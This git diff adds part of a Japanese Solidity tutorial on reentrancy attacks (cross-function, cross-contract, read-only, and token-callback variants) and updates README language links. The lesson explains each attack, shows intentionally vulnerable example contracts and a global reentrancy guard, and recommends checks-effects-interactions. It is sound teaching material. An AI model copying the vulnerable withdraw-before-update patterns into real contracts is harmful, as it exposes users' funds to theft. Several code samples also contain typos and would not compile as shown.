+上記のように、攻撃者はもはや`withdraw`関数にリエントラントするのではなく、ロックのない`transfer`関数にリエントラントします。`VulnerableBank`コントラクトの設計者の固有の思考では、`transfer`関数は`balances mapping`を変更するだけで`ETH`転送のステップがないため、リエントランシー攻撃の対象ではないはずなので、ロックを付けていませんでした。しかし攻撃者は`withdraw`を使って最初に`ETH`を転送し、転送完了時に`balances`がすぐに更新されず、ランダムに`transfer`関数を呼び出して、もはや存在しない残高を別のアドレス`owner`に成功転送しました。このアドレスは完全に攻撃者のサブアカウントである可能性があります。`transfer`関数は`ETH`を転送しないため、実行権を継続して譲渡することはなく、このリエントランシーは追加で1回攻撃しただけで終了します。結果として、攻撃者はこの部分のお金を「無から有に」生み出し、「二重支払い」の効果を実現しました。 + +ここで問題になります: + +*改良して、コントラクト内の資産移動に関わるすべての関数にリエントランシーロックを付けたら、安全になるでしょうか???* + +以下の上級事例をご覧ください... + + +## 2. コントラクト間リエントランシー攻撃 + +私たちの第二の被害者は、複数コントラクト組み合わせシステムで、分散型コントラクト取引プラットフォームです。問題が発生した重要な部分のみを見ると、2つのコントラクトに関連しています。第一のコントラクトは`TwoStepSwapManager`で、これはユーザー向けのコントラクトで、ユーザーが直接発起できるswap取引を提出する関数と、同様にユーザーが発起できる、実行待ちだが未実行のswap取引をキャンセルする関数を含みます。第二のコントラクトは`TwoStepSwapExecutor`で、これは管理役割のみが発起できる取引で、待機中のswap取引を実行するために使用されます。これら2つのコントラクトの*一部*の例コードは以下の通りです: + +``` +// Contracts to create and manage swap "requests" + +contract TwoStepSwapManager { + struct Swap { + address user; + uint256 amount; + address[] swapPath; + bool unwrapnativeToken; + } + + uint256 swapNonce; + mapping(uint256 => Swap) pendingSwaps; + + uint256 private _status; // リエントランシーロック + + // リエントランシーロック + modifier nonReentrant() { + // nonReentrantの最初の呼び出し時、_statusは0になります + require(_status == 0, "ReentrancyGuard: reentrant call"); + // この後のnonReentrantへの呼び出しはすべて失敗します + _status = 1; + _; + // 呼び出し終了時、_statusを0に復元 + _status = 0; + } + + function createSwap(uint256 _amount, address[] _swapPath, bool _unwrapnativeToken) external nonReentrant { + IERC20(swapPath[0]).safeTransferFrom(msg.sender, _amount); + pendingSwaps[++swapNounce] = Swap({ + user: msg.sender, + amount: _amount, + swapPath: _swapPath, + unwrapNativeToken: _unwrapNativeToken + }); + } + + function cancelSwap(uint256 _id) external nonReentrant { + Swap memory swap = pendingSwaps[_id]; + require(swap.user == msg.sender); + delete pendingSwaps[_id]; + + IERC20(swapPath[0]).safeTransfer(swap.user, swap.amount); + } +} +``` + +``` +// SPDX-License-Identifier: MIT +pragma solidity 0.8.17; + +// Contract to exeute swaps + +contract TwoStepSwapExecutor { + + + /* + Logic to set prices etc... + */ + + + uint256 private _status; // リエントランシーロック + + // リエントランシーロック + modifier nonReentrant() { + // nonReentrantの最初の呼び出し時、_statusは0になります + require(_status == 0, "ReentrancyGuard: reentrant call"); + // この後のnonReentrantへの呼び出しはすべて失敗します + _status = 1; + _; + // 呼び出し終了時、_statusを0に復元 + _status = 0; + } + + function executeSwap(uint256 _id) external onlySwapExecutor nonReentrant { + Swap memory swap = ISwapManager(swapManager).pendingSwaps(_id); + + // If a swapPath ends in WETH and unwrapNativeToken == true, send ether to the user + ISwapManager(swapManager).swap(swap.user, swap.amount, swap.swapPath, swap.unwrapNativeToken); + + ISwapManager(swapManager).delete(pendingSwaps[_id]); + } +} +``` + +上記2つのコントラクトの例コードから、すべての関連関数がリエントランシーロックを使用していることがわかります。しかし、あの男はまだロック婆婆にリエントランシー魔法を成功させ、再再再び本来彼のものではないお金を巻き上げました。今回、彼はどのようにしたのでしょうか? + +俗に言う「灯台下暗し」、答えは最も表面上にあり、かえって見落とされやすいのです --- これは2つのコントラクトだからです...ロックの状態は相互に通じていません!管理者が`executeSwap`を呼び出して攻撃者が提出したswapを実行すると、このコントラクトのリエントランシーロックが有効になり`1`になります。中間の`swap()`ステップを実行する時、`ETH`転送が発起され、実行権が攻撃者の悪意のあるコントラクトの`fallback`関数に渡され、そこで`TwoStepSwapManager`コントラクトの`cancelSwap`関数の呼び出しが設定されます。この時、このコントラクトのリエントランシーロックはまだ`0`なので、`cancelSwap`が実行を開始し、このコントラクトのリエントランシーロックが有効になり`1`になりますが、すでに手遅れです...攻撃者は`executeSwap`が送信したswapされた`ETH`を受け取ると同時に、`cancelSwap`が返金した最初に送出したswap用の元本トークンも受け取りました。彼は再び「無から有に」しました! + + +### グローバルリエントランシーロック + +このようなコントラクト間リエントランシー攻撃を防ぐため、ここでリエントランシーロックのアップグレード版 -- グローバルリエントランシーロックを皆さんにお贈りします。今後の複数コントラクトシステムの構築に適しています。以下の簡易コード思路をご覧ください: + +``` +pragma solidity ^0.8.0; + +import "../data/Keys.sol"; +import "../data/DataStore.sol"; + +abstract contract GlobalReentrancyGuard{ + uint256 private constant NOT_ENTERED = 0; + uint256 private constant ENTERED = 1; + + DataStore public immutable dataStore; + + constructor(DataStore _datastore) { + dataStore = _dataStore; + } + + modifier globalNonReentrant() { + _nonReentrantBefore(); + _; + _nonReentrantAfter(); + } + + function _nonReentrantBefore() private { + uint256 status = dataStore.getUint(Keys.REENTRANCY_GUARD_STATUS); + + require(status == NOT_ENTERED, "ReentrancyGuard: reentrant call"); + + dataStore.setUint(Keys.REENTRANCY_GUARD_STATUS, ENTERED); + } + + function _nonReentrantAfter() private { + dataStore.setUint(Keys.REENTRANCY_GUARD_STATUS, NOT_ENTERED); + } +} +``` + +このグローバルリエントランシーロックの核心を一言で概括すると、リエントランシー状態を保存する独立したコントラクトを確立し、あなたのシステム内のすべてのコントラクトの関連関数が実行される時、すべて同じ場所に来て現在のリエントランシー状態を確認するようにすることで、あなたのすべてのコントラクトがリエントランシー保護されるということです。 + +美しく見えますが、まだ終わりではありません...攻撃者にはグローバルリエントランシーロックでも防げない新しい手法があります。続きをご覧ください:... + + +## 3. プロジェクト間リエントランシー攻撃 + +ますます大きくなってきました...いわゆるプロジェクト間のリエントランシー攻撃の核心は、上記2例と実際かなり似ています。本質は、あるプロジェクトコントラクトのある状態変数がまだ更新されていない時に、受け取った実行権を利用して外部関数呼び出しを発起することです。第三者協力プロジェクトのコントラクトが、前述したプロジェクトコントラクト内のこの状態変数の値に依存して何らかの決定を行う場合、攻撃者はこの協力プロジェクトのコントラクトを攻撃できます。この時点で読み取るのは期限切れの状態値で、間違った行為を実行させて攻撃者が利益を得ることになります。通常、協力プロジェクトのコントラクトは一部の`getter`関数やその他の公開読み取り専用関数の呼び出しを通じて情報を伝達するため、この種の攻撃は通常`読み取り専用リエントランシー攻撃 Read-Only Reentrancy`として現れます。 + +以下の例コードをご覧ください: + +``` +// SPDX-License-Identifier: MIT +pragma solidity 0.8.17; + +contract VulnerableBank { + mapping(address => uint256) public balances; + + uint256 private _status; // リエントランシーロック + + // リエントランシーロック + modifier nonReentrant() { + // nonReentrantの最初の呼び出し時、_statusは0になります + require(_status == 0, "ReentrancyGuard: reentrant call"); + // この後のnonReentrantへの呼び出しはすべて失敗します + _status = 1; + _; + // 呼び出し終了時、_statusを0に復元 + _status = 0; + } + + function deposit() external payable { + require(msg.value > 0, "Deposit amount must ba greater than 0"); + balances[msg.sender] += msg.value; + } + + function withdraw(uint256 _amount) external nonReentrant { + require(_amount > 0, "Withdrawal amount must be greater than 0"); + require(isAllowedToWithdraw(msg.sender, _amount), "Insufficient balance"); + + (bool success, ) = msg.sender.call{value: _amount}(""); + require(success, "Withdraw failed"); + + balances[msg.sender] -= _amount; + } + + function isAllowedToWithdraw(address _user, uint256 _amount) public view returns(bool) { + return balances[_user] >= _amount; + } +} +``` + +コードに示すように、このコントラクトでは、攻撃者がリエントランシーを発揮する余地がもうありません。しかし、ここにはなくても、他の場所にはないということではありません...コントラクト内に公開の読み取り専用関数`isAllowedToWithdraw`があることがわかります。この種の関数は情報提供を目的としています。多くのプロジェクトのコントラクトには多かれ少なかれこの種の関数があり、この種の関数は他のプロジェクトのコントラクトによって呼び出されて情報を取得し、最終的にDefi世界のレゴブロックを完成させます。この重要な`withdraw`関数はすでにロックされており、リエントランシー攻撃はできませんが、その実行過程の`ETH`転送ステップで、`ETH`がちょうど転送され、攻撃者がこの時点で`isAllowedToWithdraw`関数を呼び出そうとした場合、`_amount`値が大きくても、攻撃者の預金が実際には空になっているにもかかわらず、この時点では帳簿がまだ更新されていないため、返り値は依然として`true`になることが予見できます。そうすると、攻撃者は悪意のあるコントラクトの`fallback`関数に外部関数呼び出しを設定し、`isAllowedToWithdraw`関数の返り結果に基づいて操作を決定する他のプロジェクトのコントラクトを攻撃することができます。 + +上記のコントラクト自体は攻撃されず、協力パートナーのコントラクトが攻撃されます...典型的な: + +*「私は伯仁を殺していないが、伯仁は私のために死んだ...」-- ロック婆婆* + +`Read-Only Reentrancy`に対して、[Euler Finance](https://github.com/euler-xyz/euler-contracts/commit/91adeee39daf8ece00584b6f7ec3e60a1d226bc9#diff-05f47d885ccf959493d5c53203672966544d73232f5410184d5484a7aedf0c5eR260)は`read-only reentrancy guard`を採用し、ロックされていない時のみ読み取りを許可します。同時に、ロックの可視性を`public`に設定して他のプロジェクトが使用できるようにします。 + +## 4. ERC721 & ERC777 Reentrancy + +これら2つのトークン標準はそれぞれコールバック関数を規定しています: + +ERC721: `function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes memory _data) public returns(bytes4);` + +ERC777: `function tokensReceived(address _operator, address _from, address _to, uint256 _amount, bytes calldata _userData, bytes calldata _operatorData) external;` + +コールバック関数の存在はコード実行権を受け取る機会があることを意味し、同時にリエントランシー攻撃の可能性も生み出します。この状況についてはコード例を示しませんが、上記のいくつかの事例と組み合わせると、今では理解しやすくなったはずです。そして、実際に無限の花様を演出できます。 + + +## まとめ + +以上で、実際に発生したさまざまな花様のリエントランシー攻撃のロジック本体とその簡易コードを確認しました。皆さんは、これらのコントラクトが攻撃されたのは、すべて共通の欠陥があるためであることが容易にわかるでしょう。それは、これらのコントラクトの設計がリエントランシー攻撃の防止において、直接的なツール(リエントランシーロック)の保護に過度に依存し、もう一つの良い設計習慣である*チェック-エフェクト-インタラクションパターン*を貫徹していないことです。シンプルなツールは決して完璧な防御にはなりません。貫徹した方法論こそがあなたの永遠の後ろ盾です*(報告、このセクションのコード授業の思政任務は伝達済み、検収をお願いします)* + +したがって、小さなツールを使うか、方法論を使うかの選択について、私たちsolidity devsとしての答えは:両方...そして...であるべきだと思います!関数間の攻撃から、コントラクト間、プロジェクト間の攻撃まで、devsとauditorsにこの巨大になるレゴ間の千糸万縷の関係を覚えることを要求するのは、いささか無理があります。そこで、構築過程の各ステップで、標準的に複数の異なる防御メカニズムを配置することで、安心してより良い結果を得ることができます。 + +![](./img/S17-1.png) \ No newline at end of file diff --git a/Languages/pt-br/README.md b/Languages/pt-br/README.md index 79dea9db4..b402abc0f 100644 --- a/Languages/pt-br/README.md +++ b/Languages/pt-br/README.md @@ -1,6 +1,6 @@ ![](./img/logo2.jpeg) -:globe_with_meridians: **[Inglês](./Languages/en/README.md) / [Espanhol](./Languages/es/README.md) / [Português Brasileiro](./Languages/pt-br/README.md)** :globe_with_meridians: +:globe_with_meridians: **[Inglês](../en/README.md) / [Espanhol](../es/README.md) / [Português Brasileiro](../pt-br/README.md) / [Japonês](../ja/README.md)** :globe_with_meridians: # WTF Solidity Eu recentemente comecei a reestudar Solidity para reforçar os detalhes e também escrever um "WTF Solidity Guia Básico" para iniciantes (programadores experientes podem procurar outros tutoriais), com atualizações semanais de 1-3 aulas. diff --git a/README.md b/README.md index eb2f3c346..39895791d 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,6 @@ ![logo](./img/logo2.jpeg) -:globe_with_meridians: **[English](https://github.com/AmazingAng/WTF-Solidity/tree/main/Languages/en/README.md) / [Español](https://github.com/AmazingAng/WTF-Solidity/tree/main/Languages/es/README.md) / [Português Brasileiro](./Languages/pt-br/README.md)** :globe_with_meridians: +:globe_with_meridians: **[English](https://github.com/AmazingAng/WTF-Solidity/tree/main/Languages/en/README.md) / [Español](https://github.com/AmazingAng/WTF-Solidity/tree/main/Languages/es/README.md) / [Português Brasileiro](./Languages/pt-br/README.md) / [日本語](./Languages/ja/README.md)** :globe_with_meridians: # WTF Solidity